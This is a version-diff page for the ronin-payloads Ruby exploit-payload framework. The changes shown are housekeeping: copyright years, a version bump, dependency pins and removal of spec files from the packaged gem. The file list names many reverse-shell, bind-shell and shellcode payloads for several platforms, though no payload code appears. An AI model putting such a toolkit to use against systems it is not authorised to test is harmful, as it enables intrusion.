ronin-payloads 0.1.0.beta1 → 0.1.0
Sign up to get free protection for your applications and to get access to all the features.
- checksums.yaml +4 -4
- data/.github/workflows/ruby.yml +1 -0
- data/.yardopts +1 -1
- data/README.md +4 -3
- data/bin/ronin-payloads +1 -1
- data/gemspec.yml +8 -7
- data/lib/ronin/payloads/asm_payload.rb +1 -1
- data/lib/ronin/payloads/binary_payload.rb +1 -1
- data/lib/ronin/payloads/builtin/cmd/awk/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/cmd/bash/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/cmd/lua/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/cmd/node/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/cmd/openssl/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/cmd/perl/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/cmd/php/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/cmd/powershell/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/cmd/python/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/cmd/ruby/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/java/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/php/cmd_exec.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/freebsd/x86/bind_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/freebsd/x86/exec_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/freebsd/x86/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/freebsd/x86_64/exec_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/linux/arm/bind_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/linux/arm/exec_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/linux/arm/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/linux/mips/bind_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/linux/mips/exec_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/linux/mips/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/linux/ppc/exec_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/linux/ppc/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/linux/x86/bind_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/linux/x86/exec_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/linux/x86/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/linux/x86_64/bind_shell.rb +2 -2
- data/lib/ronin/payloads/builtin/shellcode/linux/x86_64/exec_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/linux/x86_64/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/macos/x86_64/exec_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/macos/x86_64/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/netbsd/x86/exec_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/netbsd/x86/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/openbsd/x86/bind_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/openbsd/x86/exec_shell.rb +1 -1
- data/lib/ronin/payloads/builtin/shellcode/windows/x86_64/cmd.rb +1 -1
- data/lib/ronin/payloads/builtin/test/open_redirect.rb +1 -1
- data/lib/ronin/payloads/builtin/test/xss.rb +1 -1
- data/lib/ronin/payloads/c_payload.rb +1 -1
- data/lib/ronin/payloads/cli/command.rb +1 -1
- data/lib/ronin/payloads/cli/commands/build.rb +1 -1
- data/lib/ronin/payloads/cli/commands/encode.rb +1 -1
- data/lib/ronin/payloads/cli/commands/encoder.rb +1 -1
- data/lib/ronin/payloads/cli/commands/encoders.rb +2 -2
- data/lib/ronin/payloads/cli/commands/irb.rb +1 -1
- data/lib/ronin/payloads/cli/commands/launch.rb +1 -1
- data/lib/ronin/payloads/cli/commands/list.rb +1 -1
- data/lib/ronin/payloads/cli/commands/new.rb +3 -3
- data/lib/ronin/payloads/cli/commands/show.rb +2 -2
- data/lib/ronin/payloads/cli/encoder_methods.rb +1 -1
- data/lib/ronin/payloads/cli/format_option.rb +1 -1
- data/lib/ronin/payloads/cli/generator/payload_types.rb +3 -3
- data/lib/ronin/payloads/cli/payload_command.rb +1 -1
- data/lib/ronin/payloads/cli/payload_methods.rb +1 -1
- data/lib/ronin/payloads/cli/printing.rb +1 -1
- data/lib/ronin/payloads/cli/ruby_shell.rb +1 -1
- data/lib/ronin/payloads/cli.rb +6 -1
- data/lib/ronin/payloads/coldfusion_payload.rb +1 -1
- data/lib/ronin/payloads/command_payload.rb +1 -1
- data/lib/ronin/payloads/encoders/builtin/html/encode.rb +1 -1
- data/lib/ronin/payloads/encoders/builtin/js/encode.rb +1 -1
- data/lib/ronin/payloads/encoders/builtin/powershell/encode.rb +1 -1
- data/lib/ronin/payloads/encoders/builtin/shell/encode.rb +1 -1
- data/lib/ronin/payloads/encoders/builtin/sql/encode.rb +1 -1
- data/lib/ronin/payloads/encoders/builtin/xml/encode.rb +1 -1
- data/lib/ronin/payloads/encoders/encoder.rb +1 -1
- data/lib/ronin/payloads/encoders/exceptions.rb +1 -1
- data/lib/ronin/payloads/encoders/html_encoder.rb +1 -1
- data/lib/ronin/payloads/encoders/javascript_encoder.rb +1 -1
- data/lib/ronin/payloads/encoders/pipeline.rb +2 -2
- data/lib/ronin/payloads/encoders/powershell_encoder.rb +1 -1
- data/lib/ronin/payloads/encoders/registry.rb +1 -1
- data/lib/ronin/payloads/encoders/shell_encoder.rb +1 -1
- data/lib/ronin/payloads/encoders/sql_encoder.rb +1 -1
- data/lib/ronin/payloads/encoders/xml_encoder.rb +1 -1
- data/lib/ronin/payloads/encoders.rb +1 -1
- data/lib/ronin/payloads/exceptions.rb +1 -1
- data/lib/ronin/payloads/go_payload.rb +1 -1
- data/lib/ronin/payloads/html_payload.rb +1 -1
- data/lib/ronin/payloads/java_payload.rb +1 -1
- data/lib/ronin/payloads/javascript_payload.rb +1 -1
- data/lib/ronin/payloads/jsp_payload.rb +1 -1
- data/lib/ronin/payloads/metadata/arch.rb +1 -1
- data/lib/ronin/payloads/metadata/os.rb +1 -1
- data/lib/ronin/payloads/mixins/binary.rb +1 -1
- data/lib/ronin/payloads/mixins/bind_shell.rb +1 -1
- data/lib/ronin/payloads/mixins/build_dir.rb +1 -1
- data/lib/ronin/payloads/mixins/erb.rb +1 -1
- data/lib/ronin/payloads/mixins/network.rb +1 -1
- data/lib/ronin/payloads/mixins/post_ex.rb +1 -1
- data/lib/ronin/payloads/mixins/resolve_host.rb +1 -1
- data/lib/ronin/payloads/mixins/reverse_shell.rb +1 -1
- data/lib/ronin/payloads/mixins/tempfile.rb +1 -1
- data/lib/ronin/payloads/mixins/typescript.rb +1 -1
- data/lib/ronin/payloads/node_js_payload.rb +1 -1
- data/lib/ronin/payloads/payload.rb +1 -1
- data/lib/ronin/payloads/php_payload.rb +1 -1
- data/lib/ronin/payloads/powershell_payload.rb +1 -1
- data/lib/ronin/payloads/python_payload.rb +1 -1
- data/lib/ronin/payloads/registry.rb +1 -1
- data/lib/ronin/payloads/root.rb +1 -1
- data/lib/ronin/payloads/ruby_payload.rb +1 -1
- data/lib/ronin/payloads/rust_payload.rb +1 -1
- data/lib/ronin/payloads/shell_payload.rb +1 -1
- data/lib/ronin/payloads/shellcode/bind_shell_payload.rb +1 -1
- data/lib/ronin/payloads/shellcode/exec_shell_payload.rb +1 -1
- data/lib/ronin/payloads/shellcode/reverse_shell_payload.rb +1 -1
- data/lib/ronin/payloads/shellcode_payload.rb +1 -1
- data/lib/ronin/payloads/sql_payload.rb +1 -1
- data/lib/ronin/payloads/url_payload.rb +2 -2
- data/lib/ronin/payloads/version.rb +2 -2
- data/lib/ronin/payloads/xml_payload.rb +1 -1
- data/lib/ronin/payloads.rb +1 -1
- data/ronin-payloads.gemspec +2 -1
- metadata +16 -215
- data/spec/asm_payload_spec.rb +0 -114
- data/spec/binary_payload_spec.rb +0 -8
- data/spec/builtin/cmd/awk/reverse_shell_spec.rb +0 -38
- data/spec/builtin/cmd/bash/reverse_shell_spec.rb +0 -36
- data/spec/builtin/cmd/lua/reverse_shell_spec.rb +0 -38
- data/spec/builtin/cmd/node/reverse_shell_spec.rb +0 -36
- data/spec/builtin/cmd/openssl/reverse_shell_spec.rb +0 -38
- data/spec/builtin/cmd/perl/reverse_shell_spec.rb +0 -38
- data/spec/builtin/cmd/php/reverse_shell_spec.rb +0 -38
- data/spec/builtin/cmd/powershell/reverse_shell_spec.rb +0 -38
- data/spec/builtin/cmd/python/reverse_shell_spec.rb +0 -38
- data/spec/builtin/cmd/ruby/reverse_shell_spec.rb +0 -38
- data/spec/builtin/java/reverse_shell_spec.rb +0 -103
- data/spec/builtin/php/cmd_exec.rb +0 -52
- data/spec/builtin/shellcode/freebsd/x86/bind_shell_spec.rb +0 -58
- data/spec/builtin/shellcode/freebsd/x86/exec_shell_spec.rb +0 -46
- data/spec/builtin/shellcode/freebsd/x86/reverse_shell_spec.rb +0 -63
- data/spec/builtin/shellcode/freebsd/x86_64/exec_shell_spec.rb +0 -46
- data/spec/builtin/shellcode/linux/arm/bind_shell_spec.rb +0 -62
- data/spec/builtin/shellcode/linux/arm/exec_shell_spec.rb +0 -46
- data/spec/builtin/shellcode/linux/arm/reverse_shell_spec.rb +0 -58
- data/spec/builtin/shellcode/linux/mips/bind_shell_spec.rb +0 -60
- data/spec/builtin/shellcode/linux/mips/exec_shell_spec.rb +0 -46
- data/spec/builtin/shellcode/linux/mips/reverse_shell_spec.rb +0 -58
- data/spec/builtin/shellcode/linux/ppc/exec_shell_spec.rb +0 -46
- data/spec/builtin/shellcode/linux/ppc/reverse_shell_spec.rb +0 -87
- data/spec/builtin/shellcode/linux/x86/bind_shell_spec.rb +0 -60
- data/spec/builtin/shellcode/linux/x86/exec_shell_spec.rb +0 -46
- data/spec/builtin/shellcode/linux/x86/reverse_shell_spec.rb +0 -58
- data/spec/builtin/shellcode/linux/x86_64/bind_shell_spec.rb +0 -60
- data/spec/builtin/shellcode/linux/x86_64/exec_shell_spec.rb +0 -46
- data/spec/builtin/shellcode/linux/x86_64/reverse_shell_spec.rb +0 -58
- data/spec/builtin/shellcode/macos/x86_64/exec_shell_spec.rb +0 -46
- data/spec/builtin/shellcode/macos/x86_64/reverse_shell_spec.rb +0 -58
- data/spec/builtin/shellcode/netbsd/x86/exec_shell_spec.rb +0 -46
- data/spec/builtin/shellcode/netbsd/x86/reverse_shell_spec.rb +0 -63
- data/spec/builtin/shellcode/openbsd/x86/bind_shell_spec.rb +0 -58
- data/spec/builtin/shellcode/openbsd/x86/exec_shell_spec.rb +0 -46
- data/spec/builtin/shellcode/windows/x86_64/cmd_spec.rb +0 -54
- data/spec/builtin/test/open_redirect_spec.rb +0 -24
- data/spec/builtin/test/xss_spec.rb +0 -24
- data/spec/c_payload_spec.rb +0 -139
- data/spec/cli/commands/show_spec.rb +0 -21
- data/spec/cli/encoder_methods_spec.rb +0 -275
- data/spec/cli/format_option_spec.rb +0 -187
- data/spec/cli/payload_command_spec.rb +0 -68
- data/spec/cli/payload_methods_spec.rb +0 -208
- data/spec/cli/printing_spec.rb +0 -65
- data/spec/cli/ruby_shell_spec.rb +0 -14
- data/spec/coldfusion_payload_spec.rb +0 -8
- data/spec/command_payload_spec.rb +0 -8
- data/spec/encoders/builtin/html/encode_spec.rb +0 -17
- data/spec/encoders/builtin/js/encode_spec.rb +0 -17
- data/spec/encoders/builtin/powershell/encode_spec.rb +0 -17
- data/spec/encoders/builtin/shell/encode_spec.rb +0 -17
- data/spec/encoders/builtin/sql/encode_spec.rb +0 -17
- data/spec/encoders/builtin/xml/encode_spec.rb +0 -17
- data/spec/encoders/encoder_spec.rb +0 -62
- data/spec/encoders/html_encoder_spec.rb +0 -8
- data/spec/encoders/javascript_encoder_spec.rb +0 -8
- data/spec/encoders/pipeline_spec.rb +0 -153
- data/spec/encoders/powershell_encoder_spec.rb +0 -8
- data/spec/encoders/shell_encoder_spec.rb +0 -8
- data/spec/encoders/sql_encoder_spec.rb +0 -8
- data/spec/encoders/xml_encoder_spec.rb +0 -8
- data/spec/encoders_spec.rb +0 -25
- data/spec/go_payload_spec.rb +0 -56
- data/spec/helpers/encoders.rb +0 -9
- data/spec/helpers/payloads.rb +0 -9
- data/spec/helpers/scripts/payloads/simple.rb +0 -22
- data/spec/html_payload_spec.rb +0 -12
- data/spec/java_payload_spec.rb +0 -97
- data/spec/javascript_payload_spec.rb +0 -12
- data/spec/jsp_payload_spec.rb +0 -8
- data/spec/metadata/arch_spec.rb +0 -82
- data/spec/metadata/os_spec.rb +0 -164
- data/spec/mixins/binary_spec.rb +0 -129
- data/spec/mixins/bind_shell_spec.rb +0 -73
- data/spec/mixins/build_dir.rb +0 -64
- data/spec/mixins/erb_spec.rb +0 -19
- data/spec/mixins/network_spec.rb +0 -75
- data/spec/mixins/post_ex_spec.rb +0 -40
- data/spec/mixins/resolve_host_spec.rb +0 -322
- data/spec/mixins/reverse_shell_spec.rb +0 -103
- data/spec/mixins/tempfile_spec.rb +0 -97
- data/spec/mixins/typescript_spec.rb +0 -92
- data/spec/node_js_payload_spec.rb +0 -8
- data/spec/payload_spec.rb +0 -288
- data/spec/payloads_spec.rb +0 -29
- data/spec/php_payload_spec.rb +0 -8
- data/spec/powershell_payload_spec.rb +0 -16
- data/spec/python_payload_spec.rb +0 -8
- data/spec/ruby_payload_spec.rb +0 -8
- data/spec/rust_payload_spec.rb +0 -116
- data/spec/shell_payload_spec.rb +0 -16
- data/spec/shellcode/bind_shell_payload_spec.rb +0 -42
- data/spec/shellcode/exec_shell_payload_spec.rb +0 -8
- data/spec/shellcode/reverse_shell_payload_spec.rb +0 -136
- data/spec/shellcode_payload_spec.rb +0 -38
- data/spec/spec_helper.rb +0 -7
- data/spec/sql_payload_spec.rb +0 -12
- data/spec/url_payload_spec.rb +0 -72
- data/spec/xml_payload_spec.rb +0 -12
@@ -3,7 +3,7 @@
|
|
3
3
|
# ronin-payloads - A Ruby micro-framework for writing and running exploit
|
4
4
|
# payloads.
|
5
5
|
#
|
6
|
-
# Copyright (c) 2007-
|
6
|
+
# Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
|
7
7
|
#
|
8
8
|
# ronin-payloads is free software: you can redistribute it and/or modify
|
9
9
|
# it under the terms of the GNU Lesser General Public License as published
|
@@ -3,7 +3,7 @@
|
|
3
3
|
# ronin-payloads - A Ruby micro-framework for writing and running exploit
|
4
4
|
# payloads.
|
5
5
|
#
|
6
|
-
# Copyright (c) 2007-
|
6
|
+
# Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
|
7
7
|
#
|
8
8
|
# ronin-payloads is free software: you can redistribute it and/or modify
|
9
9
|
# it under the terms of the GNU Lesser General Public License as published
|
@@ -3,7 +3,7 @@
|
|
3
3
|
# ronin-payloads - A Ruby micro-framework for writing and running exploit
|
4
4
|
# payloads.
|
5
5
|
#
|
6
|
-
# Copyright (c) 2007-
|
6
|
+
# Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
|
7
7
|
#
|
8
8
|
# ronin-payloads is free software: you can redistribute it and/or modify
|
9
9
|
# it under the terms of the GNU Lesser General Public License as published
|
@@ -3,7 +3,7 @@
|
|
3
3
|
# ronin-payloads - A Ruby micro-framework for writing and running exploit
|
4
4
|
# payloads.
|
5
5
|
#
|
6
|
-
# Copyright (c) 2007-
|
6
|
+
# Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
|
7
7
|
#
|
8
8
|
# ronin-payloads is free software: you can redistribute it and/or modify
|
9
9
|
# it under the terms of the GNU Lesser General Public License as published
|
@@ -3,7 +3,7 @@
|
|
3
3
|
# ronin-payloads - A Ruby micro-framework for writing and running exploit
|
4
4
|
# payloads.
|
5
5
|
#
|
6
|
-
# Copyright (c) 2007-
|
6
|
+
# Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
|
7
7
|
#
|
8
8
|
# ronin-payloads is free software: you can redistribute it and/or modify
|
9
9
|
# it under the terms of the GNU Lesser General Public License as published
|
@@ -3,7 +3,7 @@
|
|
3
3
|
# ronin-payloads - A Ruby micro-framework for writing and running exploit
|
4
4
|
# payloads.
|
5
5
|
#
|
6
|
-
# Copyright (c) 2007-
|
6
|
+
# Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
|
7
7
|
#
|
8
8
|
# ronin-payloads is free software: you can redistribute it and/or modify
|
9
9
|
# it under the terms of the GNU Lesser General Public License as published
|
@@ -3,7 +3,7 @@
|
|
3
3
|
# ronin-payloads - A Ruby micro-framework for writing and running exploit
|
4
4
|
# payloads.
|
5
5
|
#
|
6
|
-
# Copyright (c) 2007-
|
6
|
+
# Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
|
7
7
|
#
|
8
8
|
# ronin-payloads is free software: you can redistribute it and/or modify
|
9
9
|
# it under the terms of the GNU Lesser General Public License as published
|
@@ -3,7 +3,7 @@
|
|
3
3
|
# ronin-payloads - A Ruby micro-framework for writing and running exploit
|
4
4
|
# payloads.
|
5
5
|
#
|
6
|
-
# Copyright (c) 2007-
|
6
|
+
# Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
|
7
7
|
#
|
8
8
|
# ronin-payloads is free software: you can redistribute it and/or modify
|
9
9
|
# it under the terms of the GNU Lesser General Public License as published
|
@@ -3,7 +3,7 @@
|
|
3
3
|
# ronin-payloads - A Ruby micro-framework for writing and running exploit
|
4
4
|
# payloads.
|
5
5
|
#
|
6
|
-
# Copyright (c) 2007-
|
6
|
+
# Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
|
7
7
|
#
|
8
8
|
# ronin-payloads is free software: you can redistribute it and/or modify
|
9
9
|
# it under the terms of the GNU Lesser General Public License as published
|
@@ -24,7 +24,7 @@ require 'ronin/payloads/payload'
|
|
24
24
|
module Ronin
|
25
25
|
module Payloads
|
26
26
|
#
|
27
|
-
# Represents a payload which is hosted
|
27
|
+
# Represents a payload which is hosted publicly at a specified URL.
|
28
28
|
#
|
29
29
|
# ## Example
|
30
30
|
#
|
@@ -3,7 +3,7 @@
|
|
3
3
|
# ronin-payloads - A Ruby micro-framework for writing and running exploit
|
4
4
|
# payloads.
|
5
5
|
#
|
6
|
-
# Copyright (c) 2007-
|
6
|
+
# Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
|
7
7
|
#
|
8
8
|
# ronin-payloads is free software: you can redistribute it and/or modify
|
9
9
|
# it under the terms of the GNU Lesser General Public License as published
|
@@ -22,6 +22,6 @@
|
|
22
22
|
module Ronin
|
23
23
|
module Payloads
|
24
24
|
# ronin-payloads version
|
25
|
-
VERSION = '0.1.0
|
25
|
+
VERSION = '0.1.0'
|
26
26
|
end
|
27
27
|
end
|
@@ -3,7 +3,7 @@
|
|
3
3
|
# ronin-payloads - A Ruby micro-framework for writing and running exploit
|
4
4
|
# payloads.
|
5
5
|
#
|
6
|
-
# Copyright (c) 2007-
|
6
|
+
# Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
|
7
7
|
#
|
8
8
|
# ronin-payloads is free software: you can redistribute it and/or modify
|
9
9
|
# it under the terms of the GNU Lesser General Public License as published
|
data/lib/ronin/payloads.rb
CHANGED
@@ -2,7 +2,7 @@
|
|
2
2
|
# ronin-payloads - A Ruby micro-framework for writing and running exploit
|
3
3
|
# payloads.
|
4
4
|
#
|
5
|
-
# Copyright (c) 2007-
|
5
|
+
# Copyright (c) 2007-2023 Hal Brodigan (postmodern.mod3 at gmail.com)
|
6
6
|
#
|
7
7
|
# ronin-payloads is free software: you can redistribute it and/or modify
|
8
8
|
# it under the terms of the GNU Lesser General Public License as published
|
data/ronin-payloads.gemspec
CHANGED
@@ -27,13 +27,14 @@ Gem::Specification.new do |gem|
|
|
27
27
|
gem.files = `git ls-files`.split($/)
|
28
28
|
gem.files = glob[gemspec['files']] if gemspec['files']
|
29
29
|
gem.files += Array(gemspec['generated_files'])
|
30
|
+
# exclude test files from the packages gem
|
31
|
+
gem.files -= glob[gemspec['test_files'] || 'spec/{**/}*']
|
30
32
|
|
31
33
|
gem.executables = gemspec.fetch('executables') do
|
32
34
|
glob['bin/*'].map { |path| File.basename(path) }
|
33
35
|
end
|
34
36
|
|
35
37
|
gem.extensions = glob[gemspec['extensions'] || 'ext/**/extconf.rb']
|
36
|
-
gem.test_files = glob[gemspec['test_files'] || 'spec/{**/}*_spec.rb']
|
37
38
|
gem.extra_rdoc_files = glob[gemspec['extra_doc_files'] || '*.{txt,md}']
|
38
39
|
|
39
40
|
gem.require_paths = Array(gemspec.fetch('require_paths') {
|
metadata
CHANGED
@@ -1,14 +1,14 @@
|
|
1
1
|
--- !ruby/object:Gem::Specification
|
2
2
|
name: ronin-payloads
|
3
3
|
version: !ruby/object:Gem::Version
|
4
|
-
version: 0.1.0
|
4
|
+
version: 0.1.0
|
5
5
|
platform: ruby
|
6
6
|
authors:
|
7
7
|
- Postmodern
|
8
8
|
autorequire:
|
9
9
|
bindir: bin
|
10
10
|
cert_chain: []
|
11
|
-
date: 2023-
|
11
|
+
date: 2023-02-01 00:00:00.000000000 Z
|
12
12
|
dependencies:
|
13
13
|
- !ruby/object:Gem::Dependency
|
14
14
|
name: ronin-support
|
@@ -16,70 +16,70 @@ dependencies:
|
|
16
16
|
requirements:
|
17
17
|
- - "~>"
|
18
18
|
- !ruby/object:Gem::Version
|
19
|
-
version: 1.0
|
19
|
+
version: '1.0'
|
20
20
|
type: :runtime
|
21
21
|
prerelease: false
|
22
22
|
version_requirements: !ruby/object:Gem::Requirement
|
23
23
|
requirements:
|
24
24
|
- - "~>"
|
25
25
|
- !ruby/object:Gem::Version
|
26
|
-
version: 1.0
|
26
|
+
version: '1.0'
|
27
27
|
- !ruby/object:Gem::Dependency
|
28
28
|
name: ronin-code-asm
|
29
29
|
requirement: !ruby/object:Gem::Requirement
|
30
30
|
requirements:
|
31
31
|
- - "~>"
|
32
32
|
- !ruby/object:Gem::Version
|
33
|
-
version: 1.0
|
33
|
+
version: '1.0'
|
34
34
|
type: :runtime
|
35
35
|
prerelease: false
|
36
36
|
version_requirements: !ruby/object:Gem::Requirement
|
37
37
|
requirements:
|
38
38
|
- - "~>"
|
39
39
|
- !ruby/object:Gem::Version
|
40
|
-
version: 1.0
|
40
|
+
version: '1.0'
|
41
41
|
- !ruby/object:Gem::Dependency
|
42
42
|
name: ronin-post_ex
|
43
43
|
requirement: !ruby/object:Gem::Requirement
|
44
44
|
requirements:
|
45
45
|
- - "~>"
|
46
46
|
- !ruby/object:Gem::Version
|
47
|
-
version: 0.1
|
47
|
+
version: '0.1'
|
48
48
|
type: :runtime
|
49
49
|
prerelease: false
|
50
50
|
version_requirements: !ruby/object:Gem::Requirement
|
51
51
|
requirements:
|
52
52
|
- - "~>"
|
53
53
|
- !ruby/object:Gem::Version
|
54
|
-
version: 0.1
|
54
|
+
version: '0.1'
|
55
55
|
- !ruby/object:Gem::Dependency
|
56
56
|
name: ronin-core
|
57
57
|
requirement: !ruby/object:Gem::Requirement
|
58
58
|
requirements:
|
59
59
|
- - "~>"
|
60
60
|
- !ruby/object:Gem::Version
|
61
|
-
version: 0.1
|
61
|
+
version: '0.1'
|
62
62
|
type: :runtime
|
63
63
|
prerelease: false
|
64
64
|
version_requirements: !ruby/object:Gem::Requirement
|
65
65
|
requirements:
|
66
66
|
- - "~>"
|
67
67
|
- !ruby/object:Gem::Version
|
68
|
-
version: 0.1
|
68
|
+
version: '0.1'
|
69
69
|
- !ruby/object:Gem::Dependency
|
70
70
|
name: ronin-repos
|
71
71
|
requirement: !ruby/object:Gem::Requirement
|
72
72
|
requirements:
|
73
73
|
- - "~>"
|
74
74
|
- !ruby/object:Gem::Version
|
75
|
-
version: 0.1
|
75
|
+
version: '0.1'
|
76
76
|
type: :runtime
|
77
77
|
prerelease: false
|
78
78
|
version_requirements: !ruby/object:Gem::Requirement
|
79
79
|
requirements:
|
80
80
|
- - "~>"
|
81
81
|
- !ruby/object:Gem::Version
|
82
|
-
version: 0.1
|
82
|
+
version: '0.1'
|
83
83
|
- !ruby/object:Gem::Dependency
|
84
84
|
name: bundler
|
85
85
|
requirement: !ruby/object:Gem::Requirement
|
@@ -259,117 +259,15 @@ files:
|
|
259
259
|
- man/ronin-payloads.1
|
260
260
|
- man/ronin-payloads.1.md
|
261
261
|
- ronin-payloads.gemspec
|
262
|
-
- spec/asm_payload_spec.rb
|
263
|
-
- spec/binary_payload_spec.rb
|
264
|
-
- spec/builtin/cmd/awk/reverse_shell_spec.rb
|
265
|
-
- spec/builtin/cmd/bash/reverse_shell_spec.rb
|
266
|
-
- spec/builtin/cmd/lua/reverse_shell_spec.rb
|
267
|
-
- spec/builtin/cmd/node/reverse_shell_spec.rb
|
268
|
-
- spec/builtin/cmd/openssl/reverse_shell_spec.rb
|
269
|
-
- spec/builtin/cmd/perl/reverse_shell_spec.rb
|
270
|
-
- spec/builtin/cmd/php/reverse_shell_spec.rb
|
271
|
-
- spec/builtin/cmd/powershell/reverse_shell_spec.rb
|
272
|
-
- spec/builtin/cmd/python/reverse_shell_spec.rb
|
273
|
-
- spec/builtin/cmd/ruby/reverse_shell_spec.rb
|
274
|
-
- spec/builtin/java/reverse_shell_spec.rb
|
275
|
-
- spec/builtin/php/cmd_exec.rb
|
276
|
-
- spec/builtin/shellcode/freebsd/x86/bind_shell_spec.rb
|
277
|
-
- spec/builtin/shellcode/freebsd/x86/exec_shell_spec.rb
|
278
|
-
- spec/builtin/shellcode/freebsd/x86/reverse_shell_spec.rb
|
279
|
-
- spec/builtin/shellcode/freebsd/x86_64/exec_shell_spec.rb
|
280
|
-
- spec/builtin/shellcode/linux/arm/bind_shell_spec.rb
|
281
|
-
- spec/builtin/shellcode/linux/arm/exec_shell_spec.rb
|
282
|
-
- spec/builtin/shellcode/linux/arm/reverse_shell_spec.rb
|
283
|
-
- spec/builtin/shellcode/linux/mips/bind_shell_spec.rb
|
284
|
-
- spec/builtin/shellcode/linux/mips/exec_shell_spec.rb
|
285
|
-
- spec/builtin/shellcode/linux/mips/reverse_shell_spec.rb
|
286
|
-
- spec/builtin/shellcode/linux/ppc/exec_shell_spec.rb
|
287
|
-
- spec/builtin/shellcode/linux/ppc/reverse_shell_spec.rb
|
288
|
-
- spec/builtin/shellcode/linux/x86/bind_shell_spec.rb
|
289
|
-
- spec/builtin/shellcode/linux/x86/exec_shell_spec.rb
|
290
|
-
- spec/builtin/shellcode/linux/x86/reverse_shell_spec.rb
|
291
|
-
- spec/builtin/shellcode/linux/x86_64/bind_shell_spec.rb
|
292
|
-
- spec/builtin/shellcode/linux/x86_64/exec_shell_spec.rb
|
293
|
-
- spec/builtin/shellcode/linux/x86_64/reverse_shell_spec.rb
|
294
|
-
- spec/builtin/shellcode/macos/x86_64/exec_shell_spec.rb
|
295
|
-
- spec/builtin/shellcode/macos/x86_64/reverse_shell_spec.rb
|
296
|
-
- spec/builtin/shellcode/netbsd/x86/exec_shell_spec.rb
|
297
|
-
- spec/builtin/shellcode/netbsd/x86/reverse_shell_spec.rb
|
298
|
-
- spec/builtin/shellcode/openbsd/x86/bind_shell_spec.rb
|
299
|
-
- spec/builtin/shellcode/openbsd/x86/exec_shell_spec.rb
|
300
|
-
- spec/builtin/shellcode/windows/x86_64/cmd_spec.rb
|
301
|
-
- spec/builtin/test/open_redirect_spec.rb
|
302
|
-
- spec/builtin/test/xss_spec.rb
|
303
|
-
- spec/c_payload_spec.rb
|
304
|
-
- spec/cli/commands/show_spec.rb
|
305
|
-
- spec/cli/encoder_methods_spec.rb
|
306
|
-
- spec/cli/format_option_spec.rb
|
307
|
-
- spec/cli/payload_command_spec.rb
|
308
|
-
- spec/cli/payload_methods_spec.rb
|
309
|
-
- spec/cli/printing_spec.rb
|
310
|
-
- spec/cli/ruby_shell_spec.rb
|
311
|
-
- spec/coldfusion_payload_spec.rb
|
312
|
-
- spec/command_payload_spec.rb
|
313
|
-
- spec/encoders/builtin/html/encode_spec.rb
|
314
|
-
- spec/encoders/builtin/js/encode_spec.rb
|
315
|
-
- spec/encoders/builtin/powershell/encode_spec.rb
|
316
|
-
- spec/encoders/builtin/shell/encode_spec.rb
|
317
|
-
- spec/encoders/builtin/sql/encode_spec.rb
|
318
|
-
- spec/encoders/builtin/xml/encode_spec.rb
|
319
|
-
- spec/encoders/encoder_spec.rb
|
320
|
-
- spec/encoders/html_encoder_spec.rb
|
321
|
-
- spec/encoders/javascript_encoder_spec.rb
|
322
|
-
- spec/encoders/pipeline_spec.rb
|
323
|
-
- spec/encoders/powershell_encoder_spec.rb
|
324
|
-
- spec/encoders/shell_encoder_spec.rb
|
325
|
-
- spec/encoders/sql_encoder_spec.rb
|
326
|
-
- spec/encoders/xml_encoder_spec.rb
|
327
|
-
- spec/encoders_spec.rb
|
328
|
-
- spec/go_payload_spec.rb
|
329
|
-
- spec/helpers/encoders.rb
|
330
|
-
- spec/helpers/payloads.rb
|
331
|
-
- spec/helpers/scripts/payloads/simple.rb
|
332
|
-
- spec/html_payload_spec.rb
|
333
|
-
- spec/java_payload_spec.rb
|
334
|
-
- spec/javascript_payload_spec.rb
|
335
|
-
- spec/jsp_payload_spec.rb
|
336
|
